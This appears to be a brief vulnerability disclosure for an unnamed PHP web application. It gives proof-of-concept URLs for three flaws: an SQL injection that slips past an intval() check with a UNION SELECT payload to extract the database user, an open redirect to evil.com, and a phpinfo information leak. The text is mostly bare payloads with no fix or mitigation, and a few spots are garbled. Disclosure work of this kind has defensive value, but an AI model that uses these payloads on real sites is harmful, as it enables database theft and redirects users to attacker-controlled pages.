Due to incorrect use of intval function, leading to the logic of inspection parameters can be bypassed, resulting in SQL injection vulnerability. -=0x01=- SQL injection Vulnerability vul code like this: if ( intval( $id ) ) { require_once( $site_engine_root."lib/rss.php" ); $sql = "SELECT url FROM ".$tablepre."feed WHERE id={$id} AND uploader='{$SESSION['uid']}'"; POC: http://www.test.com/announcements.php?id=1%bf%27%20and%201=2%20%20UNION%20select%201,2,user(),4,5,6,7,8,9,10,1 1%20/* This vulnerability exist in board.php�� -=0x02=- URI Redirection Vulnerability POC: http://www.test.com/api.php?action=logout&forward=http://evil.com -=0x02=- Information Disclosure Vulnerability POC: http://www.test.com/misc.php?action=php_info ForFun~ -=EOF=-